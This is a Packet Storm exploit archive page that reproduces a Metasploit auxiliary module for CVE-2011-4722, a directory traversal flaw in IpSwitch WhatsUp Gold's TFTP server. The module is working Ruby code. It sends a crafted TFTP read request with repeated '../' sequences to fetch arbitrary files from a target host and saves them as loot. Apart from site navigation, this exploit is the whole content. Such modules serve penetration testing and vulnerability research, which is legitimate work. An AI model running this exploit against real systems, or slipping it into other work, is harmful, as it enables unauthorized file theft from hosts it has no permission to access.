exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

IpSwitch WhatsUp Gold TFTP Directory Traversal

IpSwitch WhatsUp Gold TFTP Directory Traversal
Posted Aug 31, 2024
Authored by sinn3r, juan vazquez, Prabhu S Angadi | Site metasploit.com

This Metasploit modules exploits a directory traversal vulnerability in IpSwitch WhatsUp Golds TFTP service.

tags | exploit
advisories | CVE-2011-4722
SHA-256 | f52a92979e0cd2467ac4d0bd611f2176dc90cd4fd1fa2d4a2be6f245808683ef

IpSwitch WhatsUp Gold TFTP Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info={})
super(update_info(info,
'Name' => "IpSwitch WhatsUp Gold TFTP Directory Traversal",
'Description' => %q{
This modules exploits a directory traversal vulnerability in IpSwitch WhatsUp
Gold's TFTP service.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Prabhu S Angadi', # Initial discovery and poc
'sinn3r', # Metasploit module
'juan vazquez' # More improvements
],
'References' =>
[
['OSVDB', '77455'],
['BID', '50890'],
['EDB', '18189'],
['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'],
['CVE', '2011-4722']
],
'DisclosureDate' => '2011-12-12'
))

register_options(
[
Opt::RPORT(69),
OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']),
OptBool.new('SAVE', [false, 'Save the downloaded file to disk', false])
])
end

def run_host(ip)
# Prepare the filename
file_name = "../"*10
file_name << datastore['FILENAME']

# Prepare the packet
pkt = "\x00\x01"
pkt << file_name
pkt << "\x00"
pkt << "octet"
pkt << "\x00"

# We need to reuse the same port in order to receive the data
udp_sock = Rex::Socket::Udp.create(
{
'Context' => {'Msf' => framework, 'MsfExploit'=>self}
}
)

add_socket(udp_sock)

# Send the packet to target
file_data = ''
udp_sock.sendto(pkt, ip, datastore['RPORT'].to_i)

while (r = udp_sock.recvfrom(65535, 0.1) and r[1])

opcode, block, data = r[0].unpack("nna*") # Parse reply
if opcode != 3 # Check opcode: 3 => Data Packet
print_error("Error retrieving file #{file_name} from #{ip}")
return
end
file_data << data
udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack

end

if file_data.empty?
print_error("Error retrieving file #{file_name} from #{ip}")
return
end

udp_sock.close

# Output file if verbose
vprint_line(file_data.to_s)

# Save file to disk
path = store_loot(
'whatsupgold.tftp',
'application/octet-stream',
ip,
file_data,
datastore['FILENAME']
)

print_status("File saved in: #{path}")
end

#
# Returns an Acknowledgement
#
def tftp_ack(block=1)

pkt = "\x00\x04" # Ack
pkt << [block].pack("n") # Block Id

end
end

=begin
Remote code execution might be unlikely with this directory traversal bug, because WRITE
requests are forbidden by default, and cannot be changed.
=end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close